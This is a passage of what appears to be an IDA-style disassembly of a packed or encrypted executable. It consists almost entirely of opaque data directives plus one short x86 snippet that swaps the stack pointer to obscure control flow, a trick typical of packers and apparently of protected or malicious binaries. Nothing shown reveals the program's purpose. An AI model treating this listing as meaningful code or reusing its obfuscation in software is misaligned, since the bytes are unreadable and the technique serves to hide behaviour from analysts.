7302900h, 0B5D03910h, 0AB969D48h, 1FE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 7429224Ch, 20CDh, 0C00B0000h, 708D3774h dd 6EBD8B0Ch, 0B905E785h, 8, 492275A6h, 488BFA75h, 6A9D8B30h dd 3B05E785h, 157F3458h, 0D26BD38Bh, 8BCA0304h, 66858901h dd 0EB05E785h, 0EB008B04h, 858B61C5h, 5E78566h, 1D8D0FCFh dd 60000000h, 14E9D08Bh, 0F1000000h, 0FD47A4FCh, 3473DED1h dd 932CF6BBh, 709A26Fh, 61368563h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 30C35141h, 0FF061C3h, 1284h dd 0DE900h, 571C0000h, 74B007Fh, 2D21B105h, 60DAF46Ah dd 48F0Fh, 0B9660000h, 0E96108FDh, 10h, 1321DFBBh, 59B84EFCh dd 6AAEE5BCh, 0D6BEAFF7h, 0E5E9C08Bh, 10000000h, 0DCFFEE4Dh dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h dd 5FC05ED2h, 0DDBE9h, 90286800h, 2FE905E7h, 68FFFCF0h dd 5E7916Fh, 0FCF025E9h, 922B68FFh, 1BE905E7h, 68FFFCF0h dd 5E7932Eh, 0FCF011E9h, 93C768FFh, 7E905E7h, 68FFFCF0h dd 5E794B9h, 0FCEFFDE9h, 960B68FFh, 0F3E905E7h, 68FFFCEFh dd 5E79754h, 0FCEFE9E9h, 981B68FFh, 0DFE905E7h, 68FFFCEFh dd 5E798E8h, 0FCEFD5E9h, 99AD68FFh, 0CBE905E7h, 8DFFFCEFh dd 0D64C53CAh, 38E2E562h, 8B9736B1h, 0D34F4EC9h, 37E0E762h dd 255C1188h, 7BF478A2h, 8F08CE54h, 22A51208h, 784504A3h dd 54EC72FAh, 0CC570C7Ah, 47D101E6h, 5B345497h, 0AB01B83Fh dd 0C57EF02Ah, 84127CF7h, 8B0C6E3h, 0B0246E2Bh, 8B215E1Eh dd 0BF556758h, 0E7BDE5h, 5C13D3Fh, 191B644Fh, 9B4F05C1h dd 20ED2E58h, 5DEF71E6h, 0C388EF1Bh, 0A80F8EC3h, 0E9955742h dd 0D1BAE03Dh, 682FAD1Ah, 0E93A3217h, 92D3B254h, 54E91090h dd 0E644B9ECh, 4654E90Fh, 0A86FA095h, 7745C272h, 18B913FCh dd 0F9D35402h, 0D685814Ah, 6DEA3057h, 0A09514C3h, 1052D708h dd 963D54E9h, 106CCE37h, 7C854E9h, 5A00004Ah, 0FA88AFBh dd 0D30454E9h, 0DC5F1C06h, 0A7BDAB9h, 54E91028h, 9C865384h dd 73F1CEDFh, 0F154E910h, 6DFFCD3Eh, 0CF5D6FEEh, 2238900Fh dd 0C79B31B6h, 26F53D65h dd 3EBD5C44h, 592A18BFh, 8233F8F3h, 5E6h, 49C077D5h, 0B2F35273h dd 4F04E5B0h, 327C15Ch, 0AED89F7Bh, 7F31216Dh, 0BEB64597h dd 8B02C9D5h, 46C4B104h, 0A759BE87h, 739D54E9h, 0BD0F40C7h dd 0E9A2A48Ah, 72ED6054h, 9417C466h, 959D65C4h, 7246C174h dd 6D3D8CC1h, 8A97EC25h, 38C033F9h, 17000000h, 12106DCCh dd 0C24F04E6h, 1774FBEEh, 0E92A54BDh, 0B904D2Ch, 93CB5179h dd 18FF305Eh, 0E93F4E27h, 5F6DAE54h, 0E8FB86E8h, 3979C154h dd 0F8DE93F0h, 10EC433h, 77130000h, 0E97349C0h, 24067F64h dd 804F04E6h, 0BC4E1A4Fh, 0B9C0A53Fh, 653C406h, 91FD035Eh dd 0FA2F06B0h, 0E94BB41Bh, 4B4F05C3h, 7F8DCF88h, 68E368F8h dd 8B4A5037h, 2815BC0Ch, 4F05C44Ah, 5B3469AAh, 0C866FB44h dd 0E96E4F05h, 4B36F6Eh, 0CDBA3785h, 0C6B7884Fh, 2654E9E4h dd 440812F5h, 0E96BF1CBh, 4D503D6Eh, 0B0268D7Ah, 3CB7A537h dd 402FAEC1h, 0A3625788h, 0D02BC742h, 8232685Ah, 2495B705h dd 1BA770A5h, 0A82D75D8h, 0C174AE31h, 0C5936146h, 0B018222Ah dd 0A7EF1h, 659C5F00h, 0B730B862h, 0C84F0A10h, 609B5DC5h dd 0B930A57Dh, 0E3B60116h, 4AD0F772h, 908A0D8Ah, 0E43EA1DAh dd 2AD1F477h, 76280A7Bh, 0E68454ECh, 56DCCA9h, 82E24D5Ch dd 0A280C153h, 624F05B5h, 857670F7h, 900FCEC8h, 27A6150Dh dd 23BD3A60h, 84368B94h, 0C18AFF65h, 778DFBEh, 4F051625h dd 1601635Ch, 0B0634F05h, 0C6E5736h, 684F0516h, 309972A7h dd 2AED6FD8h, 0E90860D5h, 5F1B0754h, 7F7754Ah, 827554E9h dd 0BEC87B51h, 0D6D0BD3Ah, 0B10B8C4Ch, 0C47B5182h, 54E90862h dd 3E07E6EDh, 54E9083Ch, 0EE9813D8h, 3A66602Dh, 0F8EB90F3h dd 0CBF933h, 771C0000h, 71EA60C0h, 0DF9EAC3Ch, 42D708A0h dd 424F04EAh, 0B8C0B95h, 1703DC3Eh, 0FDCF4A0Bh, 13721546h dd 0BFF1734Ch, 80734F05h, 8D0CCBD7h, 7ED5823Fh, 440B7CFBh dd 0B51E995Eh, 0E2A0EDD2h, 3BFC54E9h, 0AA88F554h, 0A54E9DDh dd 1A790CC9h, 0D1EFE430h, 0E90D8EECh, 0E12DEE54h, 0B21F33E0h dd 0C98C0EC7h, 0D0354CF4h, 2097F35Ah, 11C2ECA9h, 7FE1544Eh dd 1A9E4F2Ch, 616459A6h, 9C5E2802h, 41BE0680h, 4CCB8A94h dd 2A99A36Fh, 0CDB42422h, 937h, 0B9DC5718h, 6F6EE961h dd 1C8306B3h, 0B4DB5406h, 6D70EF6Eh, 29ACFDB8h, 43F32FAEh dd 9359C1C4h, 2EAD7518h, 329128AFh, 0EC776FCDh, 0E0BFCD54h dd 444BC677h, 0FF9E19DEh, 60C0776Eh, 0EA5973ECh, 0E658DA2Bh dd 63D44F04h, 84336F2Eh, 0FA004805h, 0F4DBFA7Dh, 9EC72C9Eh dd 6431EEB2h, 28E53505h, 0DD9AEBAAh, 5954E97Bh, 99F13E96h dd 1053B1A0h, 386225A7h, 0B2A13BB4h, 7BA706D9h, 9496EFFCh dd 104A3117h, 0C021EADFh, 50153F53h, 8205B2E8h, 56503D36h dd 2D9AD7E5h, 0C197E8AFh, 2353B466h, 46F52DF0h, 581A00C7h dd 0FD568DDFh, 0BB30EAh, 0FD8179BBh, 1BDA7E26h, 87Bh, 7D609B5Ch dd 13B235A5h, 0C0C742F7h, 781F985Ah, 11B433A2h, 6DE0B904h dd 8737D3F2h, 0DF9D8508h, 6AE1395Ch, 7655ECF3h, 0EC782B09h dd 0A4F38954h, 12106DCCh, 924F04E6h, 5A6375A1h, 2F96B085h dd 38B33862h, 0FA7835A0h, 0B8CD2A1Bh, 0E62954E9h, 0FD7F4027h dd 7F54E9AFh, 0EDCCD3BCh, 7E8803B5h, 259441FEh, 0DA2BEA68h dd 5AD13DCFh, 7DA568ABh, 9290EDFEh, 124F082Ch, 8AE9EC21h dd 0D93B53A0h, 11C29611h, 7045D7C5h, 0EFFC7BA7h, 8BE9496h dd 7BC6104Fh, 6746CD6Ah, 0B41B4C81h, 5C6CEB6Eh, 33AE2AE7h dd 2815F87Ah, 54EFE5E8h, 664590Ch, 6654E9E5h, 859D40B5h dd 0EA3057D6h, 442BEA6Dh, 0E9E4F97Bh, 0DFB87B54h, 9517C0FDh dd 0E863E832h, 0E55AD825h, 19DA54E9h, 4794E9BCh, 7C5ACE17h dd 65EB0316h, 927F03E0h, 0D04F0EE8h, 86E4D9F8h, 0E64F0586h dd 2E8FC035h, 222C5B10h, 789859F3h, 59000007h, 0A2781F96h dd 0F42EB136h, 47C3C245h, 0AF7B1A95h, 0FB2CB32Eh, 0F168EDBCh dd 78034EEh, 5BDC9A80h, 0EE69EE34h, 0C7150EFh, 54EC792Eh dd 0D8A3F88Eh, 22C9F46Fh, 37219C7Bh, 43BC03C2h, 4F0521E1h dd 60C79043h, 0ECAEC31Fh, 61D73154h, 2C61D2E6h, 1B83169h dd 8DFB8ABh, 4B0BA512h, 8D595BD5h, 5D8EF331h, 0FCE3D40Fh dd 63C13E9Dh, 0C154EC10h, 9259450Eh, 5B14411Bh, 0B00976D9h dd 45AD014h, 13FE7C41h, 947E4F08h, 3F70A526h, 29CC72BEh dd 62C38922h, 6DFh, 1843FB0h, 0B7D65119h, 646BEE6Bh, 1C833CBEh dd 0B5D85706h, 91445560h, 2BAB7716h, 7BF129ACh, 9645DDC0h dd 9AC97017h, 0EC78C7A5h, 8472554h, 2AED6FD8h, 3CBEE44Bh dd 0E5E04283h, 95C4F04h, 4E63634h, 1045B64Fh, 73737E47h dd 0FD0754ECh, 6EECFC7Fh, 0CBCE826h, 25164BFBh, 0FD970862h dd 3F91C0CDh, 0C62CF352h, 0AEA77921h, 0D65104A4h, 5FDD22E5h dd 0DD54EC9Eh, 0E655B11Ah, 3DBA6067h, 6EA32693h, 1DB66F5Ah dd 578CDC5Fh, 0C6DCA362h, 0FC49413h, 2A9D7D42h, 18DB5AD4h dd 6FEE6DB5h, 8205B268h, 90167CC3h, 15883236h, 0EC80E223h dd 3BFC4F04h, 4F5B7A5Eh, 0C0A28388h, 3C4F04EBh, 6ECD86FBh dd 0DC5B1AB1h, 52CE24EBh, 0FFFDE872h, 0F5CA9D76h, 54E9BA28h dd 7CD4839Fh, 0F96A7EF9h, 523F3484h, 44C6E728h, 0F71C4868h dd 5ED9C65h, 0DCE0000h, 0A317F392h, 0F079A124h, 0ACC5679h dd 0A1140E91h, 4776A726h, 6164E352h, 1BBA35B9h, 0CFCE490Fh dd 6265E453h, 0B9BB84DBh, 3B54EC79h, 0C077164Dh, 0DA9C8649h dd 7246C188h, 73C8CC1h, 7FFC0E4Ah, 1ED4C8E5h, 0A192D955h dd 0B730A4FEh, 42652E25h, 593CBE77h, 0B5278941h, 40F3C93Ah dd 0ACF3097h, 6A54E944h, 4A2C13A9h, 0CA54E937h, 2C3E8A0Dh dd 0CD5933ADh, 778DFC8Bh, 2194B602h, 60A54A6h, 0E32FFBCEh dd 0F8DC592Ah, 3C8233h, 0E7230000h, 6FE4F473h, 0E6CC35A2h dd 0E9488812h, 22894295h, 8618DE75h, 0E31980C7h, 0B10B7C37h dd 0B18E5182h, 54E92DBCh, 62E5F738h, 54E8E9FCh, 468FF357h dd 33F8CCFDh, 0D16Eh, 0C077A900h, 64E97349h, 0DEC02AEDh dd 3C5E6079h, 0B02BADF9h, 86ECF5E7h, 74B8E802h, 0FC26F3F2h dd 0E863D57Fh, 500725B7h, 0AD2C76D9h, 0E15E612Ah, 4F050E70h dd 0EC6DC774h, 8D95386Dh, 407D4FCEh, 4DB21597h, 54E92740h dd 0C1B4DB1Ch, 50379614h, 22AE8CF1h, 0CD0E54E9h, 0E9229694h dd 68251654h, 0CC18A895h, 0BB7C5ACFh, 8D0ACED4h, 0F44B043Fh dd 2DB02FAEh, 69E040F5h, 3469DAEEh, 2A6695B7h, 472EAA22h dd 49Bh, 5D40FB7Ch, 0F39215C5h, 0A027A217h, 587FF87Ah dd 0F19413C2h, 4D009924h, 0E757B3D2h, 3FBD6568h, 4A0119BCh dd 5635CCD3h, 0EC7C0B69h, 44136954h, 444BC677h, 3F9E19DEh dd 0E6056758h, 0AD674F04h, 98829A5Ch, 15FE3333h, 6FD8E572h dd 6F4B2AEDh, 0ED2F269Dh, 11884FCDh, 0FA5788BBh, 0E913C0B5h dd 14FB3C54h, 0FBD14E0Eh, 0BAB88548h, 3A54E913h, 15BC1CF9h dd 0F8D04B0Dh, 1486E4D9h, 35E654E9h, 482E17C0h, 0CC54E914h dd 2C3E8A0Dh, 19C2CAFh, 1AB179B9h, 8CED4BBh, 0D9063D8Fh dd 54E9145Bh, 0B9BB84D9h, 3B54E913h, 80CA87F8h, 0F6FA4980h dd 0D06333F8h, 0AA000000h, 7349C077h, 0A854852h, 904541h dd 0ED6ABCD4h, 43194A18h, 4EE8B9Ch, 4DCC8B4Fh, 58DA2B8Ah dd 844F04ECh, 582E3598h, 4F7F3E1h, 69EE344Bh dd 0AFFBDAEEh, 16E5AE29h, 0C047F259h, 61E652E8h, 72A7984Bh dd 0F9215293h, 937D54E9h, 5275A621h, 1735AE67h, 5435494Fh dd 1FFEA192h, 6D35603h, 0CFCD2A39h, 0CA8D4E5Ah, 91BE3F6Bh dd 7C9CEACh, 0B8ED2E4Fh, 8702B3DFh, 0FE49A100h, 0F2EE607Fh dd 0F362AC69h, 95BF7774h, 0D870222Ah, 35219h, 39B02300h dd 4BCC8C96h, 9C1BDE44h, 34AF21F9h, 4DC48991h, 0B7E2DD4Ah dd 1E048B06h, 64BE215Eh, 0C85275F6h, 7E058803h, 7D54D62Fh dd 0AAD054ECh, 4BC677FDh, 0B719DE44h, 53E8A05h, 7718CDD0h dd 0E97349C0h, 9017C262h, 36A2F85Fh, 6F281BB1h, 4F17FD58h dd 4CB11496h, 54E91033h, 0FF7D4203h, 7D54E90Fh, 3E8F49BAh dd 0E42882D4h, 450912A3h, 0F73C99CAh, 0F91F2C19h, 0F659DB94h dd 0CB4E0B17h, 0A88942F1h, 0F6BAD04Bh, 63E31A70h, 0C29C8565h dd 1EAA6D09h, 85FAEAA3h, 0F33A2BA7h, 3EE1D205h, 21998FC1h dd 4302F5F9h, 0BF189747h, 0AB05B2E8h, 5A7DAE29h, 31A82F7Bh dd 3ABD3A64h, 5AD0B7BDh, 551CBC80h, 28Bh, 6D70EB6Ch, 38205B5h dd 0B0D75207h, 686FE86Ah, 18403B2h, 7DF0A914h, 9747C3C2h dd 2FAD7518h, 7AF129ACh, 6625DCC3h, 0EC7E1B19h, 0B4E39954h dd 8649C077h, 0F85FD89Ch, 4E5A587h, 7BD4074Fh, 0AB6451h dd 63F9D34Ch, 0CA3F70F7h, 0F2FD3A0Bh, 0B67954E8h, 8A0DCBD7h dd 0F278FACBh, 3F454E8h, 4A503756h, 31B6228Ch, 9A77ECFCh dd 0FEB7634Fh, 0BA4997Ch, 0B05ACD1Ch, 87F8ED6Ah, 4F050BA5h dd 0B7E3D407h, 197AA9C8h, 0D1DDB636h, 0E349B61Eh, 7E0B9436h dd 2AAD2A81h, 3C2916F9h, 58117799h, 0DF88C597h, 0D385FA5Dh dd 310E56FCh, 4489FEE7h, 0D80DBAD2h, 0CD8C9675h, 0D685814Ah dd 6DEA3057h, 5E71CDEAh, 4612659Fh, 1BEFFh, 0A5DC9F00h dd 0F770F822h, 88F4AD0h, 0A0DB9D85h, 0F970E53Dh, 237641D6h dd 8A9037B2h, 0D04A4DCAh, 24FEE11Ah, 0EA9134B7h, 7DE84ABBh dd 264454ECh, 49C07769h, 0B894673h, 1D9A5E44h, 0BF3EBD4Fh dd 0C13E814Ah, 54E8F608h, 0C124AB6Ch, 0C74532E4h, 1F823F00h dd 4A295ACDh, 50AF775h, 0C982754Fh, 0C3A26AADh, 3C9910C7h dd 0F7F7D5F7h, 6DEF5807h, 78FACBAAh, 0F407F7AFh, 8EF75603h dd 0DDBD59Dh, 37A236F9h, 119FC7Eh, 4F84D44Fh, 8CC22382h dd 33120342h, 21769BE7h, 6D2621A9h, 0D3CF8E41h, 1BC8E067h dd 4B3EFBEh, 11AB2CACh, 9FED4FB0h, 8C4F07F6h, 0BB67665Bh dd 243CBD3Ch, 4B693B42h, 0F92081h, 19DA0000h, 0B723FF9Eh dd 0C475AD30h, 16D84245h, 0AD20FA9Dh, 3B7A9332h, 6D70EF6Eh dd 78601B5h, 0BBDA5D1Bh, 6E71E86Fh, 0AD8FF0D7h, 0F54EC7Eh dd 0C0772279h, 5DAC8649h, 0BEB78F30h, 0A411BB14h, 59A669EBh dd 54E9F000h, 0A91C8374h, 0A69F7EFCh, 5AD13D43h, 329174A7h dd 82D6FCDh, 0C00ACD4Fh, 5F10D3CEh, 0B913FC90h, 0DA9C34A3h dd 0E7D80BA1h, 3ABD3AE0h, 7F4027AEh, 4F08ABFDh, 92D3BC7Fh dd 0A93071CAh, 0E6BCE4BEh, 2DBF38BCh, 0BA315D36h, 0E53D9C03h dd 0FD19F275h, 0B918FF7Eh, 0B50C3351h, 71AEB211h, 0A9298AF3h dd 87D5BE71h, 9215C4DEh, 754A0DC6h, 0A9298AF7h, 0CDC98275h dd 6ECD900Bh, 298B1311h, 0F55E91A9h, 75BD07E7h, 21A42794h dd 146972F9h, 0A9298B16h, 0AD70A596h, 14166FCEh, 90A9298Bh dd 8B04665Fh, 8660A929h, 0CE0557D0h, 0D998309Dh, 3, 7751060Ch dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 23C068h dd 24048900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68243C89h dd 2351h, 55241489h, 2973FBBDh, 0AC77BF6Ah, 0EF29ACF9h dd 0EF81475Dh, 74D2695Fh, 0DFF7DFF7h, 42C4E781h, 0C7815632h dd 0C1B74BF6h, 24148B54h, 4C481h, 0B8500000h, 40C142DFh dd 4008E8C1h, 25D0F740h, 24286E3Ch, 282E302Dh, 89D00124h dd 34FF5838h, 0C4835A24h, 243C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- db 18h, 0EDh, 65h dd 0AB825DC4h, 33CD7AD2h, 0A2F1ADF4h, 0E79ACBB8h, 0FFC50305h dd 2D5FAEE0h, 4734B75Eh, 2354AA6Dh, 0F1B94E31h, 449DFE69h dd 20ADDE3Fh, 51110210h, 145FA009h, 0C3EBF277h, 0D42AE557h dd 3C8C4411h, 0BF26A35Ch, 0C3CB895Eh, 0B1A49026h, 36B35A5Ah dd 68F8FF0Ah, 0B02CFA2Fh, 31C02725h, 0F3612F04h, 1517714Ch dd 0B2AE4203h, 3DAF1070h, 91C3AA0Fh, 78A65126h, 0FB2FA353h dd 0B946043Dh, 137BBE3Bh, 30EE5D37h, 7AB4842Fh, 8C377221h dd 4A5D1277h, 14E848h, 7D630000h, 48124783h, 0D9C2FA00h dd 1E2319B0h, 0F141BEA0h, 6051328Eh, 0B70FF18Bh, 5A5961FAh dd 0BE1E7FBEh, 40C28166h, 0F800005Ah, 1664B8h, 10E900h dd 51EA0000h, 8AF26F63h, 759866B7h, 0E03841A7h, 32FF81F0h dd 7E8h, 7CA11C00h, 67981805h, 0F616060h, 5F61F9B7h, 74C3815Bh dd 0FC7B1D9Fh, 3227C381h, 8B666AC2h, 39C381F2h, 89258B77h dd 83F08B1Ah, 8C0F02EAh, 3, 4AF98B66h, 0F08B664Ah, 0D850F48h dd 0E9000000h, 22h, 4C933B7Eh, 0AEBEB752h, 28B0Fh, 0C88B0000h dd 0FFFF9DE9h, 0B04006FFh, 9AE31806h, 8BCA91D8h, 48E94329h dd 50000001h, 54000000h, 58000000h, 5C000000h, 60000000h dd 64000000h, 68000000h, 6C000000h, 0B0000000h, 0B4000000h dd 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h, 0C8000000h dd 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h dd 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h, 38h dup(0) dd 0D3000000h, 0EB005784h, 8D00A050h, 0E79CAA85h, 0CBB70F05h dd 9DEA8589h, 0EE8105E7h, 7BA2EA1Dh, 2A4985C6h, 815405E4h dd 0F9CB2C1h, 0E781665Ah, 3468A681h, 81B1C99Bh, 0F31D2434h dd 9D295FABh, 5E40371h, 26F5B5FFh, 0AE805E4h, 3B000000h dd 939761C0h, 90456C28h, 8E946h, 0CAAF0000h, 37E17E59h dd 8D598A36h, 0E76D3085h, 0B19D3305h, 0FF05E417h, 0DA8166D0h dd 858936EFh, 5E79DEEh, 55E9F8h, 0DE90000h, 93000000h dd 5AADBF2Bh, 2736CAEAh, 3203F91Bh, 0EAB58B56h, 8905E79Dh dd 0EA858306h, 405E79Dh, 8D60C35Eh, 0E79CAAB5h, 560FEB05h dd 36FF006Ah, 9DEE95FFh, 835E05E7h, 3E8304C6h, 61EC7500h dd 0D1B529C3h, 0F05E407h, 68Ah, 830F00h, 8D000000h, 0E79E9185h dd 158D8905h, 8905E41Fh, 0E4258585h, 75E905h, 66600000h dd 4A8D88Ch, 35840Fh, 16A0000h, 28E5B5FFh, 858D05E4h, 5E76D30h dd 8589D0FFh, 5E41031h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah dd 1000Dh, 103195FFh, 32E905E4h, 0C6000000h, 0E42A4985h dd 0DF685605h, 0FFA9C530h, 0E426F5B5h, 30858D05h, 0FF05E76Dh dd 8D8589D0h, 8D05E423h, 0E41FCD85h, 206A5005h, 0FF56056Ah dd 0E4238D95h, 0C1C36105h, 39EB06E0h, 0C00000h, 0C002CCh dd 0C002E4h, 0 dd 478B0AD3h, 76920694h, 22830E80h, 4F880A83h, 4E824D17h dd 76A86351h, 22AA2FDAh, 52A91701h, 4AB20DC2h, 468706A1h dd 9C8003E9h, 9DE9F88Ch, 4226E882h, 0CBE1AEBDh, 22E6638Fh dd 5B903FEEh, 9ECF5940h, 0C0E22486h, 0F9A2BE0Eh, 9F650286h dd 270275DBh, 0A1EF163Dh, 0C6C46E23h, 3B92634Ah, 0E26D30F7h dd 22E2DA6Bh, 3763EAE9h, 0AFE387D6h, 0C44E88E7h, 79359C38h dd 2F5BE0C6h, 22E3876Dh, 71B674D3h, 22E2DA6Bh, 3763EAE9h dd 0AFE387D6h, 0C443B9E7h, 79359C38h, 22EC8AC6h, 0A63A634Fh dd 40F2B2B4h, 0F2538B5Bh, 0CAB06383h, 22E663F7h, 7C253D5Ah dd 26C217B4h, 26C2271Fh, 22E66358h, 252535E1h, 1755758h dd 0C6C7DE64h, 7526E8F1h, 0C75B74C5h, 0A720393Ah, 270249D7h dd 24666C19h, 0BE663A7h, 0C6CABE4Eh, 22E28BECh, 9AB463F4h dd 25FFFD2h, 729A9198h, 0CA17E8FEh, 22E66341h, 55958C54h dd 4DE50722h, 0ECEC83FBh, 9D805C39h, 43BE8AD1h, 26C227B6h dd 4D07D9F8h, 0EA6C63C4h, 26C2272Eh, 22EEE2DCh, 70B663E9h dd 13E94F45h, 0A2BE3B20h, 9719C1E3h, 2702456Bh, 0E27E6C6h dd 0A76B6643h, 27010EE3h, 700FE28Fh, 48369C2Ah, 210E307Ah dd 2E6633Dh, 0ABBDA0C5h, 0A3E24713h, 3EE247E3h, 61E663D3h dd 823A0BAh, 0A1936F11h, 487BD6C5h, 97E70339h, 2702789Bh dd 4A875FFFh, 0C877421Dh, 22E66C3Ah, 0A6DF7FE9h, 99C0726Ah dd 58A88D92h, 8463306Ch, 64C2671Fh, 48F30DA1h, 210E35A7h dd 2E663D3h, 0ABB8A0B7h, 0A3E24780h, 3EE2473Eh, 64E6633Dh dd 3511A0C8h, 0A11E64C7h, 2D88A6B7h, 260E956Ch, 0CEE663E9h dd 71E663F6h, 22E66893h, 0C4BAD23Dh, 0D05DA38Bh, 0FC9AA731h dd 0A98033FEh, 6A2E821h, 22E98BEDh, 0D1163F4h, 0E38F62BBh dd 410CAE86h, 0C705FA60h, 2E0F0324h, 75E663A7h, 62967893h dd 25023093h, 4211DE20h, 0A9B9021Bh, 0EA6D053Dh, 26C22717h dd 7A1DE829h, 0CAB363CDh, 22E663D0h, 7F253EC9h, 26C20F7Dh dd 26C227FBh, 22E66328h, 0E2536DBh, 276B6CDDh, 9CE663A7h dd 7D831C43h, 228C6383h, 22E58BA2h, 7CC6637Ah, 566F3DFEh dd 666767BAh, 22FB676Bh, 74A063A7h, 0C7F28110h, 0C6965C5Fh dd 443EA6B6h, 0F21998F1h, 0CAB56357h, 22E6639Dh, 7925386Fh dd 26C23F2Eh, 26C22752h, 22E663F0h, 2F2530B7h, 5EB9DD8Ch dd 0AB37E896h, 0C6F56213h, 7163EA4Ah, 2DE38438h, 22E66F57h dd 246B6CE9h, 2BE663F4h, 0C6FCCECFh, 271EE838h, 22E66152h dd 0BDB1E6C6h, 0E2656640h, 7963EACBh, 11E38476h, 200ADA34h dd 8815637Ah, 63C9D95Bh, 228CA915h, 22E58B18h, 7DC663A7h dd 5E6F3C10h, 666767CDh, 22F167D0h, 75A1637Ah, 0F1DFC6FEh dd 535BE87Ch, 0E4E3876Dh, 0C6CC2A22h, 228C20D6h, 22E58BB8h dd 7BC663F4h, 6E6F3AB9h, 66676719h, 22FD67BAh, 73A7634Fh dd 0C1FDC264h, 5ACC03Ch, 7C8E9656h, 0CA3BD200h, 22E66375h dd 568A2A23h, 21D0AD3Bh, 9D8E384Eh, 2DA290E7h, 22E66158h dd 78B830E9h, 22C25775h, 0A9A7B5E5h, 0D7539CC5h, 2DE387B8h dd 0A76B95F0h, 27010E97h, 0CAB563B9h, 22E663EAh, 792538D4h dd 26C23FF3h, 26C227BCh, 22E6638Ah, 5725300Ch, 584F8426h dd 0E56762D3h, 64B1FA85h, 228CB30Bh, 22E58B2Dh, 7DC6633Dh dd 5E6F3C5Dh, 6667676Bh, 22F36783h, 75A163D3h, 0ABFE5F2Ah dd 0C6C3FA71h, 73E6097Fh, 22E660D5h, 0E1BF439Eh, 6AAEA16h dd 6A2E2A3h, 22E67FD7h, 0E1B722E9h, 295E962h, 0F0014291h dd 4763EE43h, 48E3878Ch, 210E344Fh, 2E663A7h, 0ABB9A08Ch dd 0A3E24795h, 3EE247B0h, 65E6637Ah, 0A1D5A06Ah, 0BA81BD83h dd 0CB5659F3h, 22E663AEh, 0C05DB30Ch, 0D3FDFCEDh, 8363EAB4h dd 13E3875Bh, 0C6CC46A0h, 6B63A59Bh, 71E38765h, 0CAB063CDh dd 22E663D0h, 7C253DC9h, 26C2177Dh, 26C227FBh, 22E6632Bh dd 0C2535D8h, 0D467B34Dh, 2DC5C965h, 22E6673Bh, 93AEBBE9h dd 0AFE93208h, 22E66379h, 7C1EE85Bh, 0E55805CEh, 6A2E85Fh dd 2DE6E8A3h, 22E6665Fh, 2F90DDE9h, 666F7D5Fh, 9880675Eh dd 48BEB244h, 210E329Eh, 2E6634Fh, 0ABBFA0FEh, 0A3E2479Fh dd 3BE247ADh, 63E663F4h, 1A37A02Bh, 78DB70ADh, 7DBEE17h dd 971966ABh, 27024552h, 1263EE2Ah, 48E38484h, 210E36F4h dd 2E6637Ah, 0ABBBA060h, 0A3E247F2h, 36E2470Bh, 67E663A7h dd 94B8A086h, 48369CB0h, 210E34F4h, 2E6637Ah, 0ABB9A062h dd 0A3E247E2h, 3AE2470Bh, 65E663A7h, 2C7BA084h, 445245F9h dd 83ACA575h, 3227E6F3h, 0ED6D66D9h, 8AFE658h, 48B566ABh dd 210E31A7h, 2E663D3h, 0ABBCA0B3h, 0A3E247A0h, 3FE2473Eh dd 60E6633Dh, 0A4BCA0CCh, 1CE08D5Fh, 0AE76C8BFh, 4A04A653h dd 0F3AF9A74h, 4329E894h, 34C267FBh, 0ABE0ADF6h, 0C6F4662Bh dd 0D7539C4Ah, 48E38781h, 210E35D3h, 2E663E9h, 0ABB8A0AAh dd 0A3E2470Eh, 34E24779h, 64E6639Eh, 0E3ADA019h, 76BEA22h dd 42E387C0h, 4235E88Fh, 22E6661Dh, 2CD23B7Ah, 7CB77834h dd 0A76B02FFh, 27010E7Fh, 86FFE2Eh, 0F2196637h, 0CAB76383h dd 22E663F7h, 7B253A5Ah, 26C22FB4h, 26C2271Fh, 22E6635Bh dd 8C2532E6h, 3EF3E65Ah, 228C660Dh, 22E58BA1h, 7FC6637Ah dd 4E6F3EFEh, 666767BAh, 22FB676Bh, 77A363A7h, 52C74910h dd 0F491B1FFh, 2DE1E261h, 22E665F1h, 1C28E23Dh, 0E4BA41CEh dd 0C6CC2ACAh, 228C24A2h, 22E58B82h, 7BC663E9h, 6E6F3A37h dd 6667675Eh, 22FE6719h, 73A7639Eh, 271AB8Ch, 9F6FC548h dd 27024006h, 0C252B181h, 6D2E224h, 45D80A01h, 42DDDA5Bh dd 413D661h, 0FB6766ABh, 77A2C9FAh, 4FD6E65Eh, 228C660Eh dd 22E58BA1h, 7FC6637Ah, 4E6F3EFEh, 666767BAh, 22FF676Bh dd 77A363A7h, 11287B10h, 44C80C26h, 0F219B57Fh, 0CAB76310h dd 22E6633Eh, 7B253ABEh, 26C22FC6h, 26C22726h, 22E663C8h dd 932532A8h, 0A7CC06A7h, 0AB851FADh, 0C6C32E88h, 5763EA9Bh dd 71E38764h, 22F78BF4h, 64CD63D3h, 384F8251h, 2E52BEA3h dd 0DCE73F60h, 78155C92h, 0A7203CC4h, 